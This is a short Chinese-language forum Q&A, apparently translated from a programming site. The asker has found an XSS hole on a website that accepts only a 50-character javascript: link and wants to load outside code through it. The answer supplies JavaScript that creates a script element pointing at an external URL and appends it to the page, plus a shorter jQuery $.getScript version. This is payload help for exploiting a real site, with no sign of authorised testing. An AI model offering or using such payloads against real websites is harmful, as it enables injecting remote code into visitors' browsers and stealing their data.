您可以在 javascript 中添加脚本源吗

Question

我在一个网站上发现了一个 xss 漏洞，但它只允许 <a href=javascript:alert(1)>。 问题是它只接受 50 个字符。 我的问题：我能否以 javascript:script.src=and here the source of my code

之类的方式从获取脚本的地方添加源代码

Answer 1

有人可以像这样加载外部脚本，但它超过了 50 个字符 let s = document.createElement("script"); s.src = "url"; document.head.appendChild(s);

如果你有 JQuery 代码会更小： $.getScript("url");